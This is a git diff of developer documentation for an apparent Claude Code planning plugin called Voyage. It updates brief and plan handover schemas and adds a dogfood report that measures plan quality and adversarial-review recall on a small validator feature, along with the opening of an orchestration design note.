| `brief.md` | `brief_version` (frontmatter) | `2.2` |
|
||||
| `research/*.md` | (implicit; tracked via `type: trekresearch-brief`) | unversioned |
|
||||
| `plan.md` | `plan_version` (frontmatter) | `1.7` |
|
||||
| `plan.md` | `plan_version` (plan header line) | `1.7` |
|
||||
| `progress.json` | `schema_version` (top-level) | `"1"` |
|
||||
| `review.md` | `review_version` (frontmatter) | `1.0` |
|
||||
| `.session-state.local.json` | `schema_version` (top-level) | `1` (number) |
|
||||
|
|
@ -41,7 +41,11 @@ Every validator exposes a CLI: `node lib/validators/<name>.mjs --json <path>` re
|
|||
|
||||
---
|
||||
|
||||
## Handover 1 — `brief.md` → research/
|
||||
## Handover 1 — `brief.md` → research/ (PUBLIC CONTRACT)
|
||||
|
||||
**Stability tier: PUBLIC CONTRACT.** Handover 1 is the *only* public integration boundary of the pipeline: `brief.md` is what an upstream producer hands to Voyage, and Voyage consumes it without any knowledge of who produced it. This asymmetry is a hard invariant (see `CLAUDE.md` §Trinity context) — the interactive `/trekbrief` interview is just one producer; a `manual` brief, or an external per-app / per-portfolio producer, is equally valid as long as the artifact conforms to the schema below. No producer is privileged. The consequence: changing this schema — renaming or removing a field, narrowing an enum, or promoting an optional field to required — is a **breaking change for every downstream consumer** and MUST follow the [breaking-change protocol](#breaking-change-protocol) (version bump + N-1 compatibility window). Additive *optional* fields are non-breaking by design: the validator tolerates unknown frontmatter keys silently (forward-compat), so a newer brief still validates against an older consumer. The v5.5.0 contract formalization established `brief_version` **2.1** as the public-contract baseline and, in the same coordinated release, **evolved it to `2.2`** under the breaking-change protocol — adding the required `framing` field + `## TL;DR` section gated at ≥ 2.2 (existing 2.0/2.1 briefs stay valid). See the Versioning paragraph below for the 2.2 details.
|
||||
|
||||
**Trinity producer context (informational).** In the author's private three-tier design, Voyage is **Tier 1** (per-task). Its upstream producers are **Tier 2 `app-creator`** (per-app — "what does the app need, what's the next brief?") and **Tier 3 `app-factory`** (per-portfolio — "which app needs me now?"), both pre-implementation and bound for Forgejo when ready. None is privileged: any schema-conforming producer is equally valid, and Voyage stays unaware of Tier 2/3 — this Handover is the only coupling.
|
||||
|
||||
**Producer:** `/trekbrief` Phase 4g (after `brief-reviewer` stop-gate passes or iteration cap is hit).
|
||||
|
||||
|
|
@ -56,7 +60,7 @@ Every validator exposes a CLI: `node lib/validators/<name>.mjs --json <path>` re
|
|||
| Field | Type | Required | Allowed values | Notes |
|
||||
|---|---|---|---|---|
|
||||
| `type` | string | yes | `trekbrief` | Hard-coded discriminator |
|
||||
| `brief_version` | string | yes | `"2.0"` (current) | Bump on schema change |
|
||||
| `brief_version` | string | yes | `"2.2"` (current) | Bump on schema change |
|
||||
| `created` | date | yes | YYYY-MM-DD | |
|
||||
| `task` | string | yes | one-line description | |
|
||||
| `slug` | string | yes | URL-safe slug | Used in project_dir |
|
||||
|
|
@ -69,8 +73,10 @@ Every validator exposes a CLI: `node lib/validators/<name>.mjs --json <path>` re
|
|||
| `brief_quality` | string | optional | `complete \| partial` | Set when iteration cap is hit |
|
||||
| `phase_signals` | list | optional (v5.1+) | list of `{phase, effort?, model?}` entries | Per-phase effort + model commitment from Phase 3.5. Mutually exclusive with `phase_signals_partial`. |
|
||||
| `phase_signals_partial` | bool | optional (v5.1+) | `true` | Force-stop record from Phase 3.5. Mutually exclusive with `phase_signals`. |
|
||||
| `framing` | string | **required at ≥ 2.2** (v5.5) | `preserve \| refine \| replace \| new-direction` | How this brief relates to prior operator intent. Enum-checked on any version when present; missing → `BRIEF_MISSING_FRAMING` at `brief_version ≥ 2.2`. Layer 1 of the framing-alignment defense. |
|
||||
|
||||
**Body invariants:** required sections (validator runs in strict mode at write-time, soft mode at read-time):
|
||||
- `## TL;DR` — **required at `brief_version ≥ 2.2`** (v5.5); ≤ 5 content lines (soft cap → `BRIEF_TLDR_TOO_LONG` warning). Layer 3 of the framing-alignment defense.
|
||||
- `## Intent`
|
||||
- `## Goal`
|
||||
- `## Success Criteria`
|
||||
|
|
@ -87,11 +93,16 @@ Optional but standard sections: `## Non-Goals`, `## Constraints`, `## Preference
|
|||
| Status enum | every read | `research_status ∈ allowed values` |
|
||||
| **State machine** | every read | `research_topics > 0 && research_status === "skipped"` requires `brief_quality === "partial"` |
|
||||
| **v5.1 sequencing gate** | every read | `brief_version ≥ 2.1` requires `phase_signals` (list) OR `phase_signals_partial: true` — error `BRIEF_V51_MISSING_SIGNALS` on miss. Validator-only enforcement; commands surface, don't re-enforce. |
|
||||
| Body sections | strict only | All `BRIEF_BODY_SECTIONS` present |
|
||||
| **v5.5 framing gate** | every read | `framing` enum-checked on any version when present (`BRIEF_INVALID_FRAMING`); at `brief_version ≥ 2.2` a missing `framing` → `BRIEF_MISSING_FRAMING` and a missing `## TL;DR` → `BRIEF_MISSING_SECTION` (strict) / warning (soft). `trekreview` briefs are exempt. |
|
||||
| Body sections | strict only | All `BRIEF_BODY_SECTIONS` present (`## TL;DR` added at ≥ 2.2) |
|
||||
|
||||
**State machine** detail: a brief that says it has research topics but skipped them must explicitly admit it (via `brief_quality: partial`). This is the most common failure mode the validator catches.
|
||||
|
||||
**Versioning:** current is `2.1` (v5.1 — adds optional `phase_signals` + `phase_signals_partial`). The forward-compat policy in `brief-validator.mjs` header still applies: unknown frontmatter keys flow through silently, so a `2.1` brief still validates against pre-v5.1 consumers. The version bump exists because v2.1 activates the **version-conditional sequencing gate** (above) — the only check in the validator that triggers on `brief_version` rather than field-presence. There are no live `1.x` briefs; remove legacy paths in next major. v5.4 may promote `phase_signals` from optional to required (breaking change → `3.0`).
|
||||
**Versioning:** the `2.1` schema axis (v5.1 — adds optional `phase_signals` + `phase_signals_partial`; current is `2.2`, see the next paragraph). The forward-compat policy in `brief-validator.mjs` header still applies: unknown frontmatter keys flow through silently, so a `2.1` brief still validates against pre-v5.1 consumers. The version bump exists because v2.1 activates the **version-conditional sequencing gate** (above) — the only check in the validator that triggers on `brief_version` rather than field-presence. There are no live `1.x` briefs; remove legacy paths in next major. The v5.5.0 contract formalization **established `2.1` as the public-contract baseline** (see the PUBLIC CONTRACT callout under the Handover 1 heading): per the S3 effort-axis decision, `phase_signals` stays **optional**, and the v2.1 sequencing gate (`phase_signals` **or** `phase_signals_partial`) is the stability mechanism. Promoting `phase_signals` to required would be a future breaking change under the protocol above — explicitly *not* part of the v5.5.0 formalization.
|
||||
|
||||
**v5.5 → `2.2` (framing enforcement).** `2.2` adds two **required-at-2.2** elements — the `framing` enum field and the `## TL;DR` body section — gated identically to the v2.1 mechanism: the new requirements fire only on `brief_version ≥ 2.2`, so every existing `2.0` / `2.1` brief still validates (forward- and backward-compatible). Because adding required elements is a breaking change for any producer that declares `2.2`, this is a controlled version bump under the breaking-change protocol: downstream producers (e.g. a Tier-2 per-app producer) that emit `brief_version: "2.2"` MUST also emit `framing` + `## TL;DR`. The framing enum is additionally enforced on *any* version when the field is present (`BRIEF_INVALID_FRAMING`). The three framing-alignment layers (framing field, `brief-reviewer` memory-alignment dimension, obligatory TL;DR) implement the `CLAUDE.md` cross-cutting invariant. Note: the *plugin* version bump + CHANGELOG entry for this schema change land at the coordinated release (matrix §S10), separate from this schema axis.
|
||||
|
||||
**Pre-2.2 briefs receive zero framing enforcement (producer-elective defense).** The framing-alignment defense is gated at `brief_version ≥ 2.2`, so a brief declaring `2.0` or `2.1` gets **none** of it: `framing` is optional and a missing value is not an error, the `## TL;DR` section is not required, and the `brief-reviewer` memory-alignment dimension scores N/A. The backward-compatibility this buys is deliberate, but it also means the framing defense is **producer-elective**: any producer can sidestep the entire defense — deliberately or by shipping a legacy template — simply by declaring `brief_version: "2.1"`, and the pipeline raises no signal by default. This is a documented property of the contract, not a bug. Two remedies close it for a given consumer: (1) require upstream producers to emit `brief_version: "2.2"` (which forces `framing` + `## TL;DR`); or (2) pass the opt-in **`--min-brief-version <ver>`** flag to `/trekplan` or `/trekresearch` (forwarded to the validator as `--min-version`), which raises a `BRIEF_VERSION_BELOW_MINIMUM` **warning** — never a block — when a brief declares a version below the floor. The flag defaults to off, so the N-1 compatibility window for `2.0`/`2.1` briefs is preserved unless a consumer explicitly opts into the stricter floor.
|
||||
|
||||
**Failure modes:**
|
||||
- `BRIEF_NOT_FOUND` → consumer halts with a usage message
|
||||
|
|
@ -104,9 +115,17 @@ Optional but standard sections: `## Non-Goals`, `## Constraints`, `## Preference
|
|||
- `BRIEF_INVALID_PHASE_SIGNALS` → strict halt; phase_signals must be a list of `{phase, effort?, model?}` entries.
|
||||
- `BRIEF_INVALID_PHASE_SIGNAL_PHASE` → strict halt; phase ∉ `[research, plan, execute, review]`.
|
||||
- `BRIEF_INVALID_EFFORT` → strict halt; effort ∉ `[low, standard, high]`.
|
||||
- `BRIEF_INVALID_MODEL` → strict halt; model ∉ `BASE_ALLOWED_MODELS` (currently `[sonnet, opus]`).
|
||||
- `BRIEF_INVALID_MODEL` → strict halt; model ∉ `BASE_ALLOWED_MODELS` (currently `[sonnet, opus, fable]`).
|
||||
- `BRIEF_SIGNALS_MUTUALLY_EXCLUSIVE` → strict halt; cannot set both `phase_signals` and `phase_signals_partial: true`.
|
||||
|
||||
**Compatibility direction of the v5.9 allowlist widening (`fable`):** enum
|
||||
widening is safe for new readers of old data, not old readers of new data.
|
||||
Existing sonnet/opus briefs stay valid under the v5.9+ validator (non-breaking,
|
||||
no `brief_version` bump — value-space extension, not a schema change). The
|
||||
reverse does NOT hold: a fable-bearing brief REQUIRES a v5.9+ validator — an
|
||||
older cached brief-validator (e.g. a stale v5.8 marketplace clone) rejects it
|
||||
with `BRIEF_INVALID_MODEL`.
|
||||
|
||||
---
|
||||
|
||||
## Handover 2 — research/*.md → plan
|
||||
|
|
@ -194,9 +213,18 @@ The validator (`lib/validators/architecture-discovery.mjs`) is intentionally min
|
|||
|
||||
**Frontmatter schema:**
|
||||
|
||||
| Field | Type | Required | Allowed |
|
||||
|---|---|---|---|
|
||||
| `plan_version` | string | yes | `"1.7"` (current) |
|
||||
`plan.md` has **no required frontmatter**. The only frontmatter block,
|
||||
`source_findings` (optional), appears for `type: trekreview` plans — see
|
||||
Handover 6. Brief-generated plans carry no frontmatter at all.
|
||||
|
||||
| Field | Type | Required | Location | Allowed |
|
||||
|---|---|---|---|---|
|
||||
| `plan_version` | string | yes | plan header line, not frontmatter | `"1.7"` (current) |
|
||||
|
||||
`plan_version` is emitted in the plan's "Generated by" header metadata line
|
||||
(`> Generated by … — `plan_version: 1.7``), parsed by `extractPlanVersion`
|
||||
(`lib/parsers/plan-schema.mjs`) from either line-start or the backtick-wrapped
|
||||
prose form (relaxed in S26 so the template's prose emission parses).
|
||||
|
||||
**Body invariants (strict, v1.7):**
|
||||
|
||||
|
|
@ -252,7 +280,7 @@ The strongest validation in the entire pipeline. Phase 5.5 (planning-orchestrato
|
|||
| `schema_version` | string | yes | `"1"` (current) |
|
||||
| `plan` | string | yes | Path to the plan being executed |
|
||||
| `plan_type` | string | optional | `plan \| session-spec` |
|
||||
| `plan_version` | string | yes | Mirrors plan's frontmatter |
|
||||
| `plan_version` | string | yes | Mirrors the plan header's plan_version |
|
||||
| `started_at` | ISO string | yes | |
|
||||
| `updated_at` | ISO string | yes | Bumped on every write |
|
||||
| `completed_at` | ISO string | optional | Set when status flips to completed |
|
||||
|
|
@ -451,7 +479,7 @@ The `next-session-prompt-validator` (`lib/validators/next-session-prompt-validat
|
|||
|
||||
| Handover | Validation strength | Owner | Risk |
|
||||
|---|---|---|---|
|
||||
| 1. brief → research | strict at write, soft at read | this plugin | low |
|
||||
| 1. brief → research | strict at write, soft at read | this plugin (**PUBLIC CONTRACT** — producer-facing) | low |
|
||||
| 2. research → plan | soft, drift-warn | this plugin | low |
|
||||
| 3. architecture → plan | discovery-only, drift-WARN | **external** (opt-in architect plugin, not bundled) | low — by design we tolerate drift |
|
||||
| 4. plan → execute | **strict, both ends** | this plugin | medium — Opus 4.7 narrative drift requires constant vigilance |
|
||||
|
|
|
|||
130
docs/S22-happy-path-dogfood.md
Normal file
130
docs/S22-happy-path-dogfood.md
Normal file
|
|
@ -0,0 +1,130 @@
|
|||
# S22 — Happy-path dogfood (Blind spot #1 + #4)
|
||||
|
||||
**Run:** S22, 2026-06-19. **Method:** dogfood Voyage's own pipeline (`/trekplan → /trekexecute`) on a real, small Voyage feature, scored against a **pre-registered** ground-truth scorecard committed *before* the pipeline runs.
|
||||
**Answers the two open questions the S14 audit named but never measured** (`devils-advocate-results.md` §"What this audit might have missed" #1 and #4):
|
||||
|
||||
- **Q1 — plan quality:** does `/trekplan` produce a *correct, useful* plan on a real feature?
|
||||
- **Q4 — review efficacy:** does the adversarial review (`plan-critic` 10-dim + `scope-guardian`) catch *real* defects?
|
||||
|
||||
**Operator-chosen shape (S22):** real new Voyage feature (not a planted defect, not a known backlog bug); execute runs in an **isolated git worktree** and the code is **discarded** — the deliverable is the measurement, not the feature.
|
||||
|
||||
---
|
||||
|
||||
## Methodology — why pre-registration
|
||||
|
||||
The audit's deepest critique of itself (#4) was that *nobody ever measured whether the review catches real bugs — both attack and defense assumed it.* The failure mode for a dogfood is **post-hoc rationalization**: run the pipeline, then declare whatever it found "the important stuff." To avoid that, the expected plan and the real-risk list below are **written and git-committed before `/trekplan` is launched** (provable by commit order). Q4 is then scored as *recall against a fixed target*, not "did it find something."
|
||||
|
||||
**The feature** (`voyage-doctor`) was chosen because it has three properties that make Q4 measurable on an honest feature:
|
||||
1. **Strong reuse anchors** (`discoverProject`, `validateBrief/Research/Plan`) → a naive plan reimplements parsing; a good plan composes. Tests whether `scope-guardian`/`plan-critic` flag reinvention.
|
||||
2. **A subtle state-conditional correctness rule** (`research_status` ↔ `research/` contents) → easy to get wrong. Tests whether `plan-critic` catches a wrong conditional.
|
||||
3. **Explicit Non-Goals** (read-only, no auto-fix) with a Context that mildly invites scope-creep → tests whether the review verifies Non-Goal coverage.
|
||||
|
||||
**Input brief:** `.claude/projects/2026-06-19-voyage-doctor/brief.md` (gitignored per repo convention; Success Criteria + Non-Goals reproduced verbatim below so the control is locked). Brief validates clean: `brief-validator.mjs --json` → `{valid:true, errors:[], warnings:[]}`.
|
||||
|
||||
### Brief — Success Criteria (verbatim, locked)
|
||||
- **SC1** — New `lib/validators/project-doctor.mjs` exports a function returning `{valid, errors, warnings}`, building on `discoverProject()` + the per-artifact content validators rather than re-parsing files itself.
|
||||
- **SC2** — Detects ≥3 problem classes: (i) present-but-invalid artifact (surface underlying validator findings, tagged by artifact), (ii) `research_status: complete` with empty `research/`, (iii) project-dir slug ≠ brief `slug` frontmatter.
|
||||
- **SC3** — CLI (`node lib/validators/project-doctor.mjs <projectDir> [--json]`): human report default, `--json`, non-zero exit on invalid — consistent with `brief-validator.mjs`.
|
||||
- **SC4** — `node:test` coverage for the three SC2 coherence branches + a test asserting delegation to existing validators (no re-implementation).
|
||||
|
||||
### Brief — Non-Goals (verbatim, locked)
|
||||
- **NG1** — No auto-fix, no mutation; strictly read-only.
|
||||
- **NG2** — No new artifact types, no schema changes to brief/research/plan.
|
||||
- **NG3** — No network / external calls.
|
||||
- **NG4** — Not a replacement for the per-artifact validators or `checkPhaseRequirements()`; composes, does not supersede.
|
||||
|
||||
---
|
||||
|
||||
## Pre-registered ground truth (LOCKED before `/trekplan`)
|
||||
|
||||
### A. Expected plan (Q1 oracle)
|
||||
A competent plan should, at minimum:
|
||||
1. **Reuse, not reimplement** — call `discoverProject(dir)` for the artifact set, then `validateBrief`/`validateResearch(Dir)`/`validatePlan` on the present artifacts. No new frontmatter/markdown parsing.
|
||||
2. **Aggregate findings** into one `{valid, errors[], warnings[]}` using the existing `issue()`/`result.mjs` helpers, tagging each finding with the artifact it came from.
|
||||
3. **Implement the 3 coherence checks** of SC2 with correct conditionals (see real-risks R2 below).
|
||||
4. **Add a CLI shim** copying `brief-validator.mjs`'s `import.meta.url` pattern (human + `--json` + exit 0/1, usage → exit 2).
|
||||
5. **TDD** — node:test cases for each coherence branch + a delegation test; fixtures = throwaway project dirs.
|
||||
6. **Stay read-only** — no writes, honoring NG1.
|
||||
7. **Decompose into a small number of steps** (module → checks → CLI → tests), each independently testable.
|
||||
|
||||
A plan scores well on Q1 if it hits 1–6 without inventing scope beyond the brief.
|
||||
|
||||
### B. Real risks / defects the review SHOULD catch (Q4 oracle — fixed target)
|
||||
Each risk is something a *flawed* plan could plausibly contain. Scoring records, for each: did the **plan** avoid it, and if the plan tripped it, did **plan-critic or scope-guardian flag it**.
|
||||
|
||||
| ID | Risk | Which reviewer should catch it if the plan trips it |
|
||||
|----|------|------------------------------------------------------|
|
||||
| **R1** | Plan reimplements brief/research/plan parsing instead of reusing the validators (duplication, drift). | scope-guardian (reuse gap) / plan-critic (maintainability) |
|
||||
| **R2** | The `research_status` ↔ `research/` conditional is wrong: e.g. flags empty `research/` even when `research_topics: 0` / `skipped` (false positive), or misses `complete`+empty (false negative). | plan-critic (correctness / edge cases) |
|
||||
| **R3** | No error isolation: a malformed/unreadable artifact throws and aborts the whole doctor instead of becoming a finding. | plan-critic (error handling / robustness) |
|
||||
| **R4** | Missing-artifact vs present-but-invalid not distinguished (both collapse to one code), so the report is ambiguous. | plan-critic (correctness) |
|
||||
| **R5** | Slug-from-dirname parse is naive: breaks on slugs containing hyphens or dirs lacking the `YYYY-MM-DD-` prefix. | plan-critic (edge cases) |
|
||||
| **R6** | Scope-creep against NG1: plan adds auto-fix / "repair" / writing a report file. | scope-guardian (creep vs Non-Goal) |
|
||||
| **R7** | Tests assert only the happy path; the SC2 conditional branches (esp. R2's false-positive case) are untested. | plan-critic (test coverage) / test-strategist |
|
||||
|
||||
**Q4 score = (real risks correctly handled by the plan) + (risks the plan tripped that the review flagged) / total applicable.** A risk the plan handles correctly is *not* counted against the review (nothing to catch) but is recorded as "plan avoided it." The review's job is the residual: of the risks the plan got wrong, how many did it surface?
|
||||
|
||||
### C. Scoring rubric
|
||||
- **Q1 (plan quality):** PASS / PARTIAL / FAIL against expected-plan items 1–6, plus a one-line qualitative verdict. Independently judged by main context reading the produced `plan.md`.
|
||||
- **Q4 (review efficacy):** for each Ri — `plan: avoided | tripped`, and if tripped `review: caught | missed`. Headline = review recall on tripped risks (caught / tripped). Also note any **real** problems the review raised that are NOT in R1–R7 (true positives outside the pre-registered set → credit) vs. noise/false-positives (debit).
|
||||
- **Execute (worktree):** did `/trekexecute` produce code that (a) matches the plan and (b) passes its own tests + `node --test`? Run in isolated worktree, then discard. Records a yes/partial/no, not a quality grade.
|
||||
|
||||
---
|
||||
|
||||
## RESULTS
|
||||
|
||||
**Run:** 2026-06-19, interactive main-context dogfood of `/trekplan --brief … → /trekexecute` on the `voyage-doctor` feature. Brief validated clean; plan written to `.claude/plans/trekplan-2026-06-19-voyage-doctor.md` (gitignored); execute ran in an isolated git worktree (`/private/tmp/claude-voyage-doctor-exec`) and was discarded — `main` HEAD unchanged at `aeee4c6`, working tree clean.
|
||||
|
||||
**Pipeline actually exercised:** Phase 1 parse → 4b brief-reviewer (PROCEED) → Phase 5 swarm (7 agents: architecture-mapper, dependency-tracer, risk-assessor, task-finder, test-strategist, git-historian, convention-scanner; research-scout skipped — no external tech; ~345k subagent tokens) → Phase 7 synthesis → Phase 8 plan (passes `plan-validator --strict`) → Phase 9 plan-critic + scope-guardian → revise → execute (TDD) in worktree. **Not run** (bounded scope, recorded honestly, not silently skipped): the `effort: high` `gemini-bridge` 2nd-opinion pass; the full `/trekexecute` disciplined-executor harness (the plan was executed directly via TDD — the question is plan quality, not the executor's manifest ceremony).
|
||||
|
||||
### ⚠️ Contamination caveat (load-bearing — read first)
|
||||
The pre-registration (`docs/S22-happy-path-dogfood.md`) was **committed into the repo before exploration**, so the Phase-5 swarm **read the answer key**: architecture-mapper, task-finder, and risk-assessor explicitly cite "the locked Success Criteria and real-risk oracle" and echo R1–R7. **The oracle leaked into the swarm.** This inflates any "plan handled the R-risks" claim. It does **not** weaken the Q4 finding — see below, the defects review caught were *outside* R1–R7. **Lesson:** when dogfooding a planning tool on its own repo, the scorecard must live *outside* the explored tree (or be committed after exploration). This is itself a finding about how to run this experiment.
|
||||
|
||||
### Q1 — does the happy path produce a good plan? **Yes, but not a self-sufficient one.**
|
||||
- The plan was **executable and correct**: all 4 steps implementable; execute produced working code; **15/15** new tests pass; full suite **720 (718 pass / 2 skip / 0 fail)** = 705 baseline + 15, **zero regression**; CLI works (`project-doctor: PASS`, exit 0, valid `--json`).
|
||||
- The plan's code analysis was **unusually accurate** — plan-critic *independently verified* all 8 "load-bearing gotchas" against the source and rated every one TRUE (`combine()` first-parsed-only, `validateResearchDir` valid-on-empty, `discoverProject` un-try/catch'd, the trekreview exemption, etc.). The swarm surfaced real, code-grounded defects **beyond my oracle** (the `combine()` clobber, the crash vector, FM_MISSING guard) — a strong positive signal even net of contamination.
|
||||
- **But the plan was not executable as first written.** plan-critic scored it **C (71/100)** vs the planner's self-score **B+ (88)** — a ~17-pt self-inflation. The 3 majors (below) had to be fixed before a clean execute. **Verdict: the happy path produces a high-quality draft plan; the adversarial review is load-bearing, not decorative — without it the plan ships a real underspecification and a contradiction.**
|
||||
|
||||
### Q4 — does the adversarial review catch real bugs? **Yes — decisively, and beyond the pre-registered target.**
|
||||
This is the audit's "never measured by anyone" question. Measured here: **plan-critic caught 3 real majors the planner (Opus 4.8 + a 7-agent swarm) genuinely missed**, none planted, none in the R1–R7 oracle:
|
||||
|
||||
| Finding | Real? | In R1–R7 oracle? | Consequence if shipped |
|
||||
|---------|-------|------------------|------------------------|
|
||||
| **PC-1** `discoverProject` exposes `research` as a file-array, not a dir path; Step 1 said "validateResearchDir on the research/ dir" without deriving `join(dir,'research')` | ✅ verified | ❌ no | Executor blocked / invents the path — confirmed at execute (the path derivation was genuinely absent) |
|
||||
| **PC-2** the plan's own #1 *Critical* risk (`PROJECT_DIR_UNREADABLE` crash-isolation) was **untested** — a missing dir returns empty via `discoverProject`'s guard, never hitting the try/catch | ✅ verified | ❌ no (R7 covered "conditional branches", not this meta-gap) | The top risk ships unverified; a meta-catch the planner missed |
|
||||
| **PC-3** export-name contradiction: brief SC1 `doctorProject` vs plan/manifest `diagnoseProject` | ✅ verified | ❌ no | Executor following SC1 literally fails the manifest |
|
||||
|
||||
plan-critic also did **not** trust the plan — it re-verified the code claims itself. scope-guardian returned **ALIGNED**: every SC covered, every Non-Goal (NG1–NG4) respected, every cited `file:line` confirmed exact; one borderline minor (progress/review beyond SC2). The two converged on that single minor.
|
||||
|
||||
**Recall vs the pre-registered R1–R7 target:** the plan *handled* R1, R2, R4, R5, R6 correctly (composed not reimplemented; correct research truth-table incl. trekreview + topics>0 guard; presence-gated missing-vs-invalid; anchored slug strip; read-only). R3/R7 were *partially* tripped — the crash-isolation risk was handled **in code** but **under-tested**, and plan-critic **caught exactly that** (PC-2). So review recall on the one tripped pre-registered sub-risk = **1/1**. **The more important result:** the oracle *under-predicted where the defects would be.* The real majors lived in **plan→execute handoff fidelity** (an unspecified path, a name contradiction, an untested top-risk), not in the algorithmic risks I anticipated. Adversarial review earned its keep precisely on the class my foresight (and the swarm's) missed.
|
||||
|
||||
### Execute outcome + an execute-phase finding
|
||||
Execute succeeded (15/15, suite green, CLI works). **One finding only execute could surface:** the revised plan's PC-2 fix prescribed `t.mock.method` to force `discoverProject` to throw — but it's an **ESM named import (read-only namespace binding)**, so `t.mock.method` can't redefine it. The executor had to substitute **dependency injection** (`opts.discover`). So even the *post-review* plan carried a residual gap that only contact with the runtime exposed — a reminder that plan review is not a substitute for execution.
|
||||
|
||||
### Pipeline defects the dogfood surfaced (the bonus the S14 audit could not get — it never ran the pipeline)
|
||||
1. **`/trekplan` Phase 9 is broken as documented.** It instructs plan-critic + scope-guardian to "Write structured JSON output to `/tmp/…out.json`", then runs `plan-review-dedup.mjs` on those files. **Both agents' frontmatter grants only `Read/Glob/Grep` — no `Write`/`Bash`** — so the files are never created and the dedup step cannot run. Both agents fell back to returning JSON inline. **Severity: MAJOR** (a documented, wired step that cannot execute). Fix options: grant the reviewers `Write`, or have the orchestrator persist the returned JSON before calling the dedup helper.
|
||||
2. **Oracle-into-swarm contamination** (see caveat) — a real trap for dogfooding planning tools on their own repo.
|
||||
3. **`plan_version` not parsed.** ~~The plan template emits `plan_version: 1.7` as prose in the "Generated by" line; `plan-validator` then warns `PLAN_NO_VERSION`. Minor template/validator mismatch — the validator looks for a frontmatter/parseable field the template doesn't emit.~~ **RESOLVED (S26).** `PLAN_VERSION_REGEX` (`lib/parsers/plan-schema.mjs`) was `^`-anchored and only matched frontmatter; relaxed to `/(?:^|`)plan_version:.../m` so it honors the parser's documented "frontmatter or doc body" contract and parses the backtick-wrapped prose form the template emits. Regression-pinned by running `extractPlanVersion` against the actual `templates/plan-template.md`.
|
||||
4. **Version skew.** The *installed* plugin (skill the operator invokes) is cached at **v5.1.1**; the repo under development is **v5.5.0**. The dogfood ran the v5.1.1 command text against v5.5.0 `lib/`. Harmless here (the phases are stable across the bump) but worth noting: operators dogfooding the installed plugin are not testing the dev tree. **ASSESSED (S27) → closed no-op.** The skew is still live (`~/.claude/plugins/cache/ktg-plugin-marketplace/voyage/5.1.1/` vs repo `.claude-plugin/plugin.json` = `5.5.0`), but it is an **operator/cache state, not a Voyage code defect**: the source tree at 5.5.0 is correct, and `/trekplan` resolving to the cached install rather than the dev tree is expected Claude Code plugin-cache behavior (already noted in STATE's worktree-dogfood gotcha). The only remediation is an environment action (refresh the installed cache via `/plugin`), out of repo-code scope. A runtime version warning was rejected as scope creep — the installed context cannot know a newer dev tree exists without querying the marketplace.
|
||||
|
||||
### Honest limitations
|
||||
- **Contamination** caps confidence in the "plan handled R1–R7" half of Q1 (the swarm saw R1–R7). The Q4 half is robust *because* the caught defects were outside the oracle.
|
||||
- **n = 1, one small feature, one domain** (an internal validator the planner knew well). Generalization to larger/unfamiliar features is unproven. A feature in an unfamiliar codebase would stress the swarm more and likely lower plan quality.
|
||||
- **No token/$ measurement** (audit Blind spot #3 remains open): ~345k Phase-5 + ~110k Phase-9 + ~26k brief-review subagent tokens observed, but not normalized to a per-run cost. Recorded, not analyzed.
|
||||
- **The `voyage-doctor` implementation worked** (15 passing tests, full suite green) and is genuinely useful, but was **discarded per operator scope** (deliverable = measurement). The plan persists locally at `.claude/plans/trekplan-2026-06-19-voyage-doctor.md`; productizing it is a future-session candidate, not part of S22.
|
||||
|
||||
### Bottom line
|
||||
The happy path **works** and produces high-quality, executable plans — and the adversarial review is **load-bearing**: it caught 3 real majors the full planning swarm missed, the highest-value being defects in plan→execute handoff fidelity that neither the planner nor the pre-registered oracle anticipated. The flagship "context-engineering via specialized agents + adversarial review" claim is, for this one case, **demonstrated rather than asserted** — with the honest caveats that it is n=1, the oracle leaked into the swarm, no cost was measured, and the pipeline itself shipped a broken Phase-9 dedup step (defect #1) that this very run exposed.
|
||||
|
||||
### Verification log (Verifiseringsplikt)
|
||||
| Claim | How verified |
|
||||
|-------|--------------|
|
||||
| Brief validates clean | `node lib/validators/brief-validator.mjs --json` → `{valid:true,errors:[],warnings:[]}` |
|
||||
| Plan passes schema | `node lib/validators/plan-validator.mjs --strict --json` → `valid:true, 4 steps, 0 errors` (1 soft `PLAN_NO_VERSION` warning = defect #3, **resolved in S26**) |
|
||||
| 15 new tests pass; suite green | `node --test` in worktree → new file 15/15; full suite 720 (718/2/0) = 705 baseline +15 |
|
||||
| CLI works on live dir | `node lib/validators/project-doctor.mjs .claude/projects/2026-06-19-voyage-doctor` → `PASS`, exit 0; `--json` → valid JSON |
|
||||
| Execute isolated; main untouched | `git worktree remove` → `git status` clean, HEAD `aeee4c6`, `lib/validators/project-doctor.mjs` absent from main |
|
||||
| plan-critic's 3 majors are real | Each re-checked against source: PC-1 (`project-discovery.mjs` `research:string[]`, no dir field), PC-2 (`project-discovery.mjs:39` empty-guard precedes any throw), PC-3 (brief SC1 vs plan/manifest names) — all confirmed |
|
||||
| Reviewers lack Write (defect #1) | Agent registry: `voyage:plan-critic` + `voyage:scope-guardian` Tools = `Read, Glob, Grep`; both reported the write failure at runtime |
|
||||
| Contamination | architecture-mapper/task-finder/risk-assessor outputs explicitly cite `docs/S22-happy-path-dogfood.md` and R1–R7 |
|
||||
| Version skew is cache, not code (defect #4) | `cache/.../voyage/5.1.1/.claude-plugin/plugin.json` = `5.1.1` vs repo `.claude-plugin/plugin.json` = `5.5.0`; skew confirmed live but is install-cache state, source tree correct. **Assessed S27 → no-op** (operator/cache, not a code defect) |
|
||||
173
docs/T1-cc26-delegated-orchestration.md
Normal file
173
docs/T1-cc26-delegated-orchestration.md
Normal file
|
|
@ -0,0 +1,173 @@
|
|||
# T1 — Delegated orchestration vs inline (CC-26 GATE)
|
||||
|
||||
**Status:** Gate evidence + measurement design + recommendation. The adopt/don't-adopt
|
||||
verdict for CC-26 is **operator-gated** (mirrors S3/S6).
|
||||
**Date:** 2026-06-18 (S7)
|
||||
**Resolves:** decision-matrix §W1 / **CC-26** ("does delegated orchestration beat inline at
|
||||
Voyage's scale?") + Empirical test **T1**.
|
||||
**Inputs:** `docs/cc-upgrade-2.1.181-decision-matrix.md` §W1, `docs/subagent-delegation-audit.md`,
|
||||
`scripts/q3-cache-prefix-experiment.mjs` (harness pattern).
|
||||
**Method (this session, operator-chosen):** staged — cheap live feasibility probe + this design
|
||||
doc; the expensive head-to-head comparison is **specified but NOT run** (see §6), gated on the
|
||||
recommendation below.
|
||||
|
||||
---
|
||||
|
||||
## 1. The question the gate actually decides
|
||||
|
||||
CC-26: should Voyage re-architect from today's **inline** orchestration (the v2.4.0 migration —
|
||||
main context spawns the exploration swarm itself) back to **delegated** orchestration (an
|
||||
orchestrator sub-agent spawns the swarm, and synthesis/writing is delegated too — the "missing
|
